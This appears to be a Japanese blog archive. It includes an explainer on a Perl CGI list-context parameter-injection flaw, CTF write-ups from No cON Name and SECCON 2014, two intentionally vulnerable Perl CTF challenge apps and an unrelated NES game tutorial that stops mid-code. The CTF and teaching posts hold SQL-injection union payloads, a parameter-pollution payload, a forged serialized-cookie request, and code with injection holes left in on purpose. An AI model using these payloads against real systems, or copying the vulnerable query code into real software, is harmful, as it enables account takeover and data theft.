Perl5におけるコンテキストの扱いによる脆弱性について

The Perl Jam - Exploiting a 20 Year-old Vulnerability より

Perlを普段から書いている人にとっては常識ではあるが、そうではない人のために書いておく。

リストと配列

Perlにおける「リスト」とは何かというのを確認しておく。まず、Perlにはコンテキストという他のプログラミング言語にはない概念があり、単数(スカラー)と複数(リスト)を区別する。

# 配列
my @a = ('a', 'b', 'c');
# リストコンテキスト
# 配列をリストコンテキストで評価
print @a; #=> abc
# リストをリストコンテキストで評価
print ('a', 'b', 'c'); #=> abc

# スカラーコンテキスト
# 配列の要素はスカラー
print $a[0]; #=> a
# 配列をスカラーコンテキストで評価
print scalar @a; #=> 3
# リストをスカラーコンテキストで評価
print scalar ('a', 'b', 'c'); #=> c
# Useless use of a constant ("a") in void context
# Useless use of a constant ("b") in void context

コンテキストによって返される値が違うことが分かる。

リストと配列は別物。リストを@aという変数に入れることで配列になる。*1
ただし、配列はリストコンテキストで評価される。

sub foo {
    my ($arg1, $arg2, $arg3) = @_;
    # $arg1, $arg2, $arg3 にはどのような値が代入されるか
}

foo(1, 2, 3); #=> (1, 2, 3)
my @a = (1, 2);
foo(@a, 3);   #=> (1, 2, 3)

my @b = (2, 3);
foo(1, $b[0], 3); #=> (1, 2, 3)
foo(1, @b[0, 1]); #=> (1, 2, 3)
foo(1, @b);       #=> (1, 2, 3)
# array reference
foo(1, \@b);      #=> (1, [2, 3])
wantarray

wantarrayを使うと、コンテキスト(単数を受け取る場面、複数を受け取る場面)によって関数の振る舞いを変えることができる。しかし、これを使うとコードを見ただけでは動作が分からなくなってしまうこともあるため、頻繁には使われていない。使われる例を示すとすれば、CGI.pmのparam関数がある。

use CGI;
my $cgi = CGI->new;
# a=1&a=2&a=3
my @values = $cgi->param('a'); # (1, 2, 3)
my $value = $cgi->param('a'); # 1

ただし、CGI.pm 4.08からはmulti_paramを使うことがが推奨されており、リストコンテキストでparamを使おうとすると警告が出る。

my @values = $cgi->multi_param('a'); # (1, 2, 3)

外部からのパラメータを引数として渡すとき、この仕様が大きく問題となる。明示的にscalarによってスカラーコンテキストで評価しない限り、リストコンテキストで評価される。
New Class of Vulnerability in Perl Web Applications | Hacking for Christ では以下のようなコードに脆弱性があると言及されている。

my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => $cgi->param('realname'), 
    cryptpassword => $password});

$cgi->param('realname')はリストコンテキストで評価されるため、realnameパラメータが複数指定されていた場合に、引数の改竄ができる。
realname=aaa&realname=login_name&realname=adminとrealnameに対して複数のパラメータを指定することで以下のようにlogin_nameの改竄ができる。

{
    login_name => $login_name, 
    realname   => 'aaa', 
    login_name => 'admin',
    cryptpassword => $password,
}

このように書くのが正しい。

my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => scalar $cgi->param('realname'), 
    cryptpassword => $password});

もしくは

my $realname = $cgi->param('realname');
my $otheruser = Bugzilla::User->create({
    login_name => $login_name, 
    realname   => $realname, 
    cryptpassword => $password});

この問題は脆弱なアプリを書く技術 // Speaker Deckでも言及しており、Advent Calendar CTF 2014の13日目の問題として出題した。Perlのハッシュはkey/valueが対になっていなくても(要素数が奇数)、警告は出るが動くため上記の例であればcryptpasswordも書き換えることができる。詳しくはスライド参照。

余談ではあるが、Mojolicious 5.48からはMojo::Parametersのparamの振る舞いが変更され、以前はCGI.pmと同じ挙動をしていたが、wantarrayによるコンテキスト別の挙動は完全に廃止され、複数のパラメータを受け取るにはevery_paramを使うようになった。

蛇足

できるだけ安全にコンテキストを扱うにはscalarスカラーコンテキストで評価するのを明示的に書く必要がある。しかし、scalarと毎回タイプするには人生は短すぎる。
Perl5では単項演算子としての+は意味のないものとして扱う。code blockとhash referenceを区別するものとして使われることもある。Perl6では+単項演算がscalarとして扱われるようになった。
ここではPerl5の+がscalarの代わりになるように言語ハックをしてみる。blead-perlに以下のパッチを当てる。

diff --git a/perly.y b/perly.y
index 4b73977..ec0cdf6 100644
--- a/perly.y
+++ b/perly.y
@@ -824,7 +824,13 @@ termbinop: term ASSIGNOP term                     /* $x = $y */
 termunop : '-' term %prec UMINUS                       /* -$x */
                        { $$ = newUNOP(OP_NEGATE, 0, scalar($2)); }
        |       '+' term %prec UMINUS                  /* +$x */
-                       { $$ = $2; }
+                       {
+                         if (FEATURE_UNARYSCALAR_IS_ENABLED) {
+                           $$ = scalar($2);
+                         } else {
+                           $$ = $2;
+                         }
+                       }

        |       '!' term                               /* !$x */
                        { $$ = newUNOP(OP_NOT, 0, scalar($2)); }
diff --git a/regen/feature.pl b/regen/feature.pl
index 6733e3c..c784691 100755
--- a/regen/feature.pl
+++ b/regen/feature.pl
@@ -37,6 +37,7 @@ my %feature = (
     unicode_strings => 'unicode',
     fc              => 'fc',
     signatures      => 'signatures',
+    unaryscalar     => 'unaryscalar',
 );

 # NOTE: If a feature is ever enabled in a non-contiguous range of Perl
% perl regen/feature.pl
% perl regen_perly.pl
% perl -MPerl::Build -e'Perl::Build->install(src_path => ".", dst_path => "/opt/blead-perl", configure_options => ["-Dusedevel", "-de"])'
% bin/perl5.21.10 -e'print localtime()'
657152711155570
% bin/perl5.21.10 -e'print scalar localtime()'
Fri Feb 27 15:57:09 2015
% bin/perl5.21.10 -Mfeature=unaryscalar -e'print +localtime()'
Fri Feb 27 15:57:11 2015

こうして世界がまたひとつ平和に近づいたとさ ;)

No cON Name CTF Quals 2014 writeup

チームdodododoで参加。最近はよく自分(@akiym)とれっくす(@xrekkusu)の2人で参加している。
結果は7位。finalsの参加権が貰えるらしいが、会場はスペインでおそらく交通費はでないので破棄ということに。問題は開始時にすべてオープンされる形になっており、全部で10問。朝7:00から始め、途中で寝て、3:40に全完。miscとwebに足を引っぱられた。

f:id:akiym:20140915071230p:plain

以下は問題の解説。

inBINcible

golangが吐くバイナリ。strippedされていないため、読むのはそこまで苦ではない。
まず、argv[1]が16文字であるか調べる。次に16個のgoroutine(main.func.001を参照)を生成してそれぞれ1文字ずつ比較して、その結果channelに出力している。すべての結果が正しければ正解になり"Yeah!"、間違っていれば"Nope!"。

0x08049456         xor        ecx, eb

0x08049466         movzx      ebp, byte [ds:esi]

実は文字列の比較ルーチンはxorしているだけ。gdbで0x08049456と0x8049469にブレークポイントを仕掛け、ecxとebpの値を取ってくる。

my @a = (0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12);
my @b = (0x55,0x75,0x44,0xb6,0xb,0x33,0x6,0x3,0xe9,0x2,0x60,0x71,0x47,0xb2,0x44,0x33);

for my $i (0..15) {
    print chr($a[$i] ^ $b[$i]);
}
G0w1n!C0ngr4t5!!

NcN_ce71ba32ccf191cc3b62ae73c7ffd1acf5e2f296

cannaBINoid

実行ファイルの先頭128バイトと入力した文字列128バイトが一致していればいい。それだけ。

NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd

STEGOsaurus

オーディオファイルといえば、まずやるのはスペクトログラム表示。

f:id:akiym:20140915071236p:plain

これはモールス信号。

-. -.-. -. ...-- -.-. -... ..-. -.. -.-. -.-. ---.. -.. --... .- ..--- ..... --... -.. ---.. ----- -.... ..--- ..... -.... ----- . ---.. ---.. -.. -.. --... -.. --... ..-. -.. -.... ..... -.. -.-. -.... ....- --... .-
ncn3cbfdcc8d7a257d8062560e88dd7d7fd65dc647a

最初に解いたのでfirst blood獲得。

CRYPTonite

spanish-book.enc。スペイン語の換字暗号らしい。記号も含まれているので既存のソルバーが使えない。とりあえず記号部分をアルファベットに置き換えて Cryptogram Solver (http://rumkin.com/tools/cipher/cryptogram-solver.php) のSpanish辞書を使ってみる。先頭の1行は以下のように変換された。

XL UIZXIUGBG FURCLZG RGI YPUVGMX RX LC NCIQFC
↓
EL INGENIOSO HIDALGO DON QUIJOTE DE LA MANCHA

ドン・キホーテスペイン語の原文があるのでそれと比較して文字を置換していく。

https://gist.github.com/rekkusu/47e369c3f74342970c31

テキスト内をNCNで検索するとflagがある。置換できなかった文字があるが、これは_に該当する文字はないため。

NCN_DEADBEAFCAFEBADBABEFEEDDEFACEDBEDFADEDEC

MISCall

git stash pop

NCN4dd992213ae6b76f27d7340f0dde1222888df4d3

imMISCible

disを使うことで読みやすい形に直してくれる。

import dis
dis.dis(marshal.loads(bytecode.decode('base64')))

おおざっぱに見ると文字列のhashlibのsha1を計算している。そして最後にNCNをくっつけるような処理がある。hexがたくさんあるのでこれのsha1を計算してるのだろうと推測。

 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d
 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f
 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61
 6c 6c 6f 77 3f
echo -n 'What is the air-speed velocity of an unladen swallow?' | shasum
NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310

proMISCuous

ずっと悩んでいたが、れっくすが"t"を入力したときに若干遅くなることを発見。サイドチャネル攻撃のようだ。スクリプトを書こうと思ったが遅延が小さいのか、なぜかうまくいかず悩んでいたところれっくすが人力で求めた。1文字ずつリズムを刻みながら試せば遅延がわかるらしい。

tIMeMaTTerS

NcN_15d07db12cd83174f0d19ce7e8c65a7c5ffba7df

WEBster

test:testでログインすることができる。ファイル一覧の中にflag.txtがあるが、アクセス拒否される。
cookieに付加されるlocはページ内のLocationより"10.128.29.136"のMD5を計算したものだとわかる。locをf528764d624db129b32c21fbca0cb8d6(127.0.0.1)に変更することでflag.txtを見ることができる。

NCN_f528764d624db129b32c21fbca0cb8d6

MakeMeFeeWet^Hb

index.phpにアクセスしてhtmlのソースを見ると、<!-- vim: set ts=2 sw=2: -->と書かれている。わざわざphpのコメントとしてではなくhtmlに書いたのだから何か意味があるのだろう。index.php~, login.php~はないし、index.php.swp, login.php.swpもないので数時間悩んだが、生成されるswpファイルは先頭に.がつくことを忘れていた。カレントディレクトリにswpファイルを生成する設定にしてないので馴染みがなかった。
したがって、.login.php.swpにアクセスするとソースコードの一部が得られる。

b0VIM 7.4
/ncn/web1/login.php
3210#"!
@$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie)))));
if (isset($_COOKIE['JSESSIONID'])) {
if ($username == "p00p" && $password == "l!k34b4u5") {
$this->p = $_passwd;
$this->u = $_uname;
public function __construct($_uname, $_passwd) {
public $p;
public $u;
class Creds {

p00p:l!k34b4u5でログインしてみるが、NOPE. But good try :)と言われる。おそらくJSESSINIDに対して何かしらのデータを投げるのだろう。ここで何をすればいいか困っていたところ、れっくすが適当に試していたらflagが出てきたとのこと。問題の意図が分からない。

O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}
POST /makemefeelweb/login.php HTTP/1.1
Host: ctf.noconname.org
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=XHg0Zlx4M2FceDM1XHgzYVx4MjJceDQzXHg3Mlx4NjVceDY0XHg3M1x4MjJceDNhXHgzMlx4M2FceDdiXHg3M1x4M2FceDMxXHgzYVx4MjJceDcwXHgyMlx4M2JceDczXHgzYVx4MzlceDNhXHgyMlx4NmNceDIxXHg2Ylx4MzNceDM0XHg2Mlx4MzRceDc1XHgzNVx4MjJceDNiXHg3M1x4M2FceDMxXHgzYVx4MjJceDc1XHgyMlx4M2JceDczXHgzYVx4MzRceDNhXHgyMlx4NzBceDMwXHgzMFx4NzBceDIyXHgzYlx4N2Q=
NcN_778064be6556e64577517875a8710b0abeba1578

eXPLicit

fork型のサーバでポート7070で起動する。static linkされている。0-20の数字を入力せよと言われ、決められた数字に対して高いか低いかを教えてくれる。合っていれば終了する。

f:id:akiym:20140915071239p:plain

my_printf(sockfd, your_number);としているために入力した文字列に対してformat string bugの脆弱性が存在する。
NXが有効。static linkされているのでreturn2libcには持っていくことができないが、gadgetが豊富なので困ることはない。ゲーム回数の制限はないため、何度もfsbすることができるのでreturn addressの推測、書き換えができる。やるだけ。
注意したいのはfork型のサーバなので標準入出力をdup2する必要があること。

https://gist.github.com/akiym/c00a0a277c04e6432d85

$ cat /home/ch5/flag.txt
NcN_97740ead1060892a253be8ca33c6364a712b21d

CTF各位3

loginpage1 (web 10)

running at ctf.katsudon.org:5002

#!/usr/bin/env perl
use Mojolicious::Lite;

app->secrets([$ENV{FLAG}]);

get '/' => sub {
    my $self = shift;
    return $self->render('index',
        user => $self->session->{user},
        flag => $ENV{FLAG},
    );
};

get '/user' => sub {
    my $self = shift;
    my @users;
    if (open my $fh, '<', "user.txt") {
        while (defined(my $user = <$fh>)) {
            my ($name, $password, $is_admin) = split /:/, $user;
            unshift @users, ($is_admin == 1 ? "$name (admin)" : $name);
        }
    }
    return $self->render('user',
        users => \@users,
    );
};

get '/register' => 'register';

post '/register' => sub {
    my $self = shift;

    my $name = $self->param('name') // die;
    my $pass = $self->param('pass') // die;

    $name =~ s/[^\x21-\x7e]//g; # ascii only!
    $pass =~ s/[^\x21-\x7e]//g;

    open my $fh, '>>', 'user.txt' or die $!;
    print {$fh} "$name:$pass:0\n"; # you are not admin
    close $fh;

    $self->session->{user} = {
        admin        => 0,
        name         => $name,
        pass         => $pass,
        give_me_flag => 0,
    };

    return $self->redirect_to('/');
};

get '/login' => 'login';

post '/login' => sub {
    my $self = shift;

    my $name = $self->param('name');
    my $pass = $self->param('pass');

    my $ok = 0;
    my $is_admin;
    open my $fh, '<', "user.txt" or die $!;
    while (defined(my $user = <$fh>)) {
        chomp $user;
        my ($n, $p, $a) = split /:/, $user;
        if ($n eq $name && $p eq $pass) {
            $is_admin = $a;
            $ok = 1;
            last;
        }
    }

    if ($ok) {
        $self->session->{user} = {
            admin        => $is_admin,
            name         => $self->param('name'),
            pass         => $self->param('pass'),
            give_me_flag => 0,
        };
        return $self->redirect_to('/');
    } else {
        return $self->render(text => 'login failed...');
    }
};

get '/source' => sub {
    my $self = shift;
    my $src = do {
        open my $fh, '<', __FILE__ or die $!;
        local $/; <$fh>;
    };
    return $self->render(text => $src, format => 'txt');
};

app->start;
__DATA__

@@ index.html.ep
% layout 'default';
% title 'hello';

<p>loginpage1 (web 10)<br />do not bruteforce, see <a href="/source">source</a></p>

% if ($user) {
<p>hello, <b><%= $user->{name} %></b> (password is: <%= $user->{pass} %>)</p>
    % if ($user->{admin}) {
<p>you are admin!</p>
        % if ($user->{give_me_flag}) {
<p>here is your flag: <%= $flag %></p>
        % } else {
<p>cheer up :)</p>
        % }
    % }
% }

@@ user.html.ep
% layout 'default';
% title 'user list';

<ul>
% for my $user (@$users) {
    <li><%= $user %></li>
% }
</ul>

@@ register.html.ep
% layout 'default';
% title 'register';

<h2>register</h2>

<form method="post" action="/register">
    name: <input type="text" name="name" /><br />
    pass: <input type="text" name="pass" /><br />
    <input type="submit" value="register" />
</form>

@@ login.html.ep
% layout 'default';
% title 'login';

<h2>login</h2>

<form method="post" action="/login">
    name: <input type="text" name="name" /><br />
    pass: <input type="text" name="pass" /><br />
    <input type="submit" value="login" />
</form>

@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title><%= title %> - cheap login</title>
</head>
<body>
    <p><a href="/">index</a> | <a href="/register">register</a> | <a href="/login">login</a> | <a href="/user">user list</a></p>
    <%= content %>
</body>
</html>

SECCON 2014 オンライン予選(日本語) writeup

SECCON 2014 オンライン予選(日本語)にdodododoとして参加した。2302点で5位。とりあえず全国大会の出場権は獲得できた(上位8位まで)。

f:id:akiym:20140720180817p:plain

チームメンバーによるwriteup:

以下、自分が解いた問題のwriteup:

ネットワーク

ソーシャルハック?

画像と思われるURL(http://example.com/foo.png)を投げるとアクセスしてくれる。

153.120.82.112 - - [19/Jul/2014:12:07:30 +0900] "HEAD /foo.png HTTP/1.1" 404 0 "-" "MyVNCpasswordIsVNCpass123" "153.120.82.124"

VNCで接続する。

f:id:akiym:20140720182726p:plain

FLAG{giveMeYourWebM0n3y}

フォレンジック

879,394bytes

879394→0xd6b22なので、バイナリエディタで\x22\x6b\x0dを検索する。

Chrysanthemum.jpg
捏造された契約書を暴け
% binwalk Timestamp.dd

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
236257          0x39AE1         GIF image data, version "89a", 40 x 40
238130          0x3A232         JPEG image data, EXIF standard
238142          0x3A23E         TIFF image data, little-endian
33258102        0x1FB7A76       End of Zip archive
33286656        0x1FBEA00       End of Zip archive
33288192        0x1FBF000       TIFF image data, little-endian
33362132        0x1FD10D4       Copyright string: " (c) 1998 Hewlett-Packard Companyny"
33366016        0x1FD2000       TIFF image data, little-endian
33411072        0x1FDD000       TIFF image data, little-endian
81637443        0x4DDB043       ELF

いくつかTIFF画像あるので、切り取ってみていく。

33366016        0x1FD2000       TIFF image data, little-endian

このTIFF画像が機密保持契約書だが、日付に関する情報はない。ほかのTIFF画像を見てみる。

238142          0x3A23E         TIFF image data, little-endian

binwalkの情報が間違っていて(?)、0x3A232から切り取ると伊原秀明氏(http://port139.hatenablog.com/)の判子の画像がある。EXIF情報に書かれている日付がflag。

% exiftool a.tiff
ExifTool Version Number         : 9.60
File Name                       : a.tiff
Directory                       : .
File Size                       : 4.0 kB
File Modification Date/Time     : 2014:07:20 15:13:04+09:00
File Access Date/Time           : 2014:07:20 15:13:56+09:00
File Inode Change Date/Time     : 2014:07:20 15:13:04+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : F6 Exif Version 0.9.0b
Artist                          : hihara
Exif Version                    : 0210
Date/Time Original              : 2012:05:23 13:29:00
Components Configuration        : Y, Cb, Cr, -
Exif Image Width                : 40
Exif Image Height               : 40
Compression                     : JPEG (old-style)
Thumbnail Offset                : 326
Thumbnail Length                : 986
JFIF Version                    : 1.01
Image Width                     : 40
Image Height                    : 40
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 40x40
Thumbnail Image                 : (Binary data 986 bytes, use -b option to extract)
2012:05:23 13:29:00

バイナリ

x86アセンブラを読もう
my $ret = 0;
for my $i (1..0xff) {
    $ret += $i;
}
print $ret - 2;
32638
ダンプを追え!

dump.binの中身を見るとV850という文字列が紛れ込んでいる。V850はマイコンの一種。
V850用のbinutilsをビルドしておく。

% wget https://ftp.gnu.org/gnu/binutils/binutils-2.24.tar.gz
% ./configure --target=v850-nec-elf
% make

objdumpした結果とencrypt.nmを照らし合せた: https://gist.github.com/akiym/e0703949aa0615cbc1e6

_proc:
 146:	03 1e e8 ff 	addi	-24, sp, sp
 14a:	20 56 40 00 	movea	64, r0, r10
 14e:	40 3e 00 00 	movhi	0, r0, r7
 152:	63 ff 15 00 	st.w	lp, 20[sp]
 156:	63 57 11 00 	st.w	r10, 16[sp]
 15a:	27 3e 3c 16 	movea	5692, r7, r7    ; _etext section
 15e:	03 46 10 00 	addi	16, sp, r8
 162:	bf ff 88 ff 	jarl	0xea, lp        ; _read_data
 166:	23 77 11 00 	ld.w	16[sp], r14
 16a:	ca 66 ff 00 	andi	255, r10, r12
 16e:	00 6a       	mov	0, r13
 170:	95 15       	br	0x192
 172:	40 56 00 00 	movhi	0, r0, r10
 176:	2a 56 3c 16 	movea	5692, r10, r10  ; _etext section
 17a:	cd 51       	add	r13, r10
 17c:	0a 5f 00 00 	ld.b	0[r10], r11
 180:	41 6a       	add	1, r13
 182:	2c 59       	xor	r12, r11
 184:	cc 61       	add	r12, r12
 186:	0c 66 11 00 	addi	17, r12, r12
 18a:	4a 5f 00 00 	st.b	r11, 0[r10]
 18e:	cc 66 ff 00 	andi	255, r12, r12
 192:	ee 69       	cmp	r14, r13
 194:	f6 ed       	blt	0x172
 196:	23 ff 15 00 	ld.w	20[sp], lp
 19a:	03 1e 18 00 	addi	24, sp, sp
 19e:	7f 00       	jmp	[lp]
my @etext = (0x63, 0x17, 0x86, 0xD8, 0x34, 0xF9, 0x06, 0x8C, 0x9B, 0x80, 0x9D, 0x96, 0xD7, 0xDA, 0xDF, 0x92);

my $r12 = 37;
for my $c (@etext) {
    print chr($c ^ $r12);
    $r12 += $r12;
    $r12 += 17;
    $r12 &= 0xff;
}

r12の初期値は_procを見るだけではわからない。面倒だったのでflagのフォーマットがFLAG{...}であるため、0x63 ^ ord('F')がr12の初期値だと推測した。

FLAG{Victory850}

プログラミング

重ねてみよう

GIFアニメ画像を分解

% convert +adjoin in.gif out.gif

白黒反転させて、白を透過色にする。

% convert -negate in.gif out.gif
% convert -transparent white in.gif out.gif

画像を重ねる。

% convert in1.gif in2.gif -composite out.gif

あとはスクリプトに落として、49枚の画像に対して処理をする。生成された画像はQRCodeになっているので、読み取る。

FLAG{Many dot makes a QR code}
あみだくじ

https://gist.github.com/akiym/335ae9083687d2169caf

pwntoolsというライブラリを使っているので、実際に動作させるときには注意。

あみだくじを解くと毎回sleepするので、1000回解くには自動で解いても少し時間がかかる。この問題はx64バイナリでstatic linkされているのでsleepを潰すにはバイナリの中のnanosleepのsyscallを潰せば良い。

  47ff39:       b8 23 00 00 00          mov    eax,0x23
  47ff3e:       0f 05                   syscall
  47ff40:       48 3d 01 f0 ff ff       cmp    rax,0xfffffffffffff001
  47ff46:       0f 83 e4 41 fd ff       jae    0x454130
  47ff4c:       c3                      ret
  47ff4d:       48 83 ec 08             sub    rsp,0x8
  47ff51:       e8 4a 27 fd ff          call   0x4526a0
  47ff56:       48 89 04 24             mov    QWORD PTR [rsp],rax
  47ff5a:       b8 23 00 00 00          mov    eax,0x23
  47ff5f:       0f 05                   syscall

これで5秒くらいで解けるようになる。

FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}

Web

箱庭SQLiチャレンジ

スタンダードなSQLi問題。考える必要がない。

'or'1
'union select group_concat(sql),1,1,1,1 from sqlite_master--
'union select flag,1,1,1,1 from seccon--
FLAG{EnjoySQLi}
箱庭XSSリターンズ

メンバーのlmt_swallowによるSECCON 2013 オンライン予選の箱庭XSS Finalのwriteupを参考にした: https://gist.github.com/lmt-swallow/03170ca9c079e2ea555a
ほとんど前回と同じように解けるが、今回は20回XSSさせないといけないので、少し工夫して解く必要があった。

https://gist.github.com/akiym/9c9f903d824fddcaf2c8

FLAG{dbe6Z7bdbpa3e7cdcccc5c0}

(途中点)

FLAG{OO3auUR7e8712af065dBa6F}

CTF各位2

blacklist (web 10)

running at ctf.katsudon.org:5001

use Mojolicious::Lite;
use DBI;

# enjoy~
my $BLACKLIST_CHAR = qr/['"`=]/;
my $BLACKLIST_WORD = qr/select|insert|update|from|where|order|union|information_schema/;

my $dbh = DBI->connect('dbi:mysql:blacklist', 'blacklist', $ENV{BLACKLIST_PASSWORD});
helper dbh => sub { $dbh };

get '/' => sub {
    my $self = shift;
    my $ip = $self->tx->remote_address;
    my $agent = $self->req->headers->user_agent;
    $self->dbh->do(
        "INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')"
    );
    my $access = $self->dbh->selectall_arrayref(
        "SELECT * FROM access_log WHERE ip = '$ip' ORDER BY accessed_at DESC LIMIT 10",
        {Slice => {}}
    );
    return $self->render('index', ip => $ip, access => $access);
};

get '/search' => sub {
    my $self = shift;
    my $ip = $self->param('ip');
    $ip =~ s/$BLACKLIST_CHAR//g;
    $ip =~ s/$BLACKLIST_WORD//g;
    my $id = $self->param('id');
    $id =~ s/$BLACKLIST_CHAR//g;
    $id =~ s/$BLACKLIST_WORD//g;
    my ($agent) = $self->dbh->selectrow_array(
        "SELECT agent FROM access_log WHERE ip = '$ip' AND id = '$id'",
        {Slice => {}}
    );
    if ($agent) {
        $agent =~ s/$BLACKLIST_CHAR//g;
        $agent =~ s/$BLACKLIST_WORD//g;
        my $access = $self->dbh->selectall_arrayref(
            "SELECT * FROM access_log WHERE ip = '$ip' AND agent LIKE '$agent' ORDER BY accessed_at DESC LIMIT 10",
            {Slice => {}}
        );
        return $self->render('search', agent => $agent, access => $access);
    } else {
        return $self->render_not_found;
    }
};

get '/source' => sub {
    my $self = shift;
    my $src = do {
        open my $fh, '<', __FILE__ or die $!;
        local $/; <$fh>;
    };
    return $self->render(text => $src, format => 'txt');
};

app->start;

__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>blacklist</title>
</head>
<body>
    <p>sqli, sqli, sqli~~~ we have blacklist. see <a href="/source">source</a>.</p>
    <h2><%= stash 'ip' %>:</h3>
    <ul>
    % my $access = stash 'access';
    % for (@$access) {
        <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>" <a href="<%== url_for('/search')->query(ip => $_->{ip}, id => $_->{id}) %>">search</a></li>
    % }
    </ul>
</body>
</html>

@@ search.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>blacklist</title>
</head>
<body>
    <h2>search with "<%= stash 'agent' %>"</h3>
    <ul>
    % for (@$access) {
        <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>"</li>
    % }
    </ul>
</body>
</html>

@@ not_found.html.ep
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>not found</title>
    <style>body{font-size:64px;}</style>
</head>
<body>
    <pre>             _      __                       _
 _ __   ___ | |_   / _| ___  _   _ _ __   __| |
| '_ \ / _ \| __| | |_ / _ \| | | | '_ \ / _` |
| | | | (_) | |_  |  _| (_) | |_| | | | | (_| |_ _ _
|_| |_|\___/ \__| |_|  \___/ \__,_|_| |_|\__,_(_|_|_)</pre>
</body>
</html>

2014年だけどファミコンのゲームを作りませんか? #1

ゲームを作ろうと思い立ったはいいものの、何から始めればいいんだろう…。cocos2d-xでスマホゲームを作る?Unityで3Dバリバリのゲームを作る?いまいちパッとしませんね。そうです、なんだか複雑すぎるのです。
そんなあなたにピッタリなのがファミコンのゲームです。もう30年前のハードですから、きっと単純ですって。たぶん。だって8ビットですよ。

環境構築

今回はOS Xで開発をすることにします。まずはアセンブラコンパイラを準備します。

アセンブラはnesasmを使います。オブログ — なあ藤村くんファミコンプログラミングをやろうじゃないか[1]を参考にmakeしてください。
コンパイラはcc65を使います。なぜコンパイラも準備するかというと、まだできる限りアセンブラを書きたくないからです。簡単なほうがいいですよね :)

% brew install cc65

とりあえず動くものを書いてみる

ビルド手順はライブラリ使用例 - cc65 @ wiki - アットウィキを参考にしてください。

まずはBGにチェック模様を描いてみます。

#define REGIST_PPU_CTRL1 (char *)0x2000
#define REGIST_PPU_CTRL2 (char *)0x2001
#define REGIST_PPU_STS   (char *)0x2002
#define REGIST_SPR_ADR   (char *)0x2003
#define REGIST_SPR_GRA   (char *)0x2004
#define REGIST_SCROLL    (char *)0x2005
#define REGIST_ADR       (char *)0x2006
#define REGIST_GRA       (char *)0x2007
#define REGIST_DMA       (char *)0x4014

void NesMain(void) {
    int i, j;
    byte v_stat, h_stat;

    const char palettebg[] = {
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30
    };

    while (!(*REGIST_PPU_STS & 0x80));
    *REGIST_PPU_CTRL1 = 0x00;
    *REGIST_PPU_CTRL2 = 0x00;

    *REGIST_ADR = 0x3f;
    *REGIST_ADR = 0x00;
    for (i = 0; i < 16; i++) {
        *REGIST_GRA = *(palettebg + i);
    }

    *REGIST_ADR = 0x20;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
            h_stat = h_stat ? 0 : 1;
        }
    }

    *REGIST_PPU_CTRL1 = 0x0;
    *REGIST_PPU_CTRL2 = 0x1e;

    while (1);
}

void NMIProc(void) {
}

ファミコンでBGを描画するにはまずネームテーブルに書き込む必要があります。0x2000-0x2007がPPUのI/Oレジスタです。PPUメモリデータ(0x2007)にパターンテーブル番号を書き込むことでネームテーブルに書き込むことができます。*1
f:id:akiym:20140502220154p:plain
ファミコンの画面は1枚あたり8x8のタイルパターンが32x30個あります。*2 4x4の四角を配置しましたが、縦横の比率が異なるため、上下に余りがあります。この画面を複製してスクロールさせる場合、4x4の四角ができない部分ができてしまいます。もう少し工夫が必要みたいです。
f:id:akiym:20140502212328p:plain

次は画面をスクロールさせてみます。

void NesMain(void) {
    int i, j;
    byte v_stat, h_stat;
    byte bgx = 0, bgy = 0;

    const char palettebg[] = {
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30,
        0x0f, 0x11, 0x21, 0x30
    };

    while (!(*REGIST_PPU_STS & 0x80));
    *REGIST_PPU_CTRL1 = 0x00;
    *REGIST_PPU_CTRL2 = 0x00;

    *REGIST_ADR = 0x3f;
    *REGIST_ADR = 0x00;

    for (i = 0; i < 16; i++) {
        *REGIST_GRA = *(palettebg + i);
    }

    *REGIST_ADR = 0x20;
    *REGIST_ADR = 0x0;

    v_stat = h_stat = 1;
    for (i = 0; i < 30; i++) {
        for (j = 0; j < 32; j += 4) {
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            *REGIST_GRA = h_stat ? 0x01 : 0x03;
            h_stat = h_stat ? 0 : 1;
        }
        if (i % 4 == 0) {
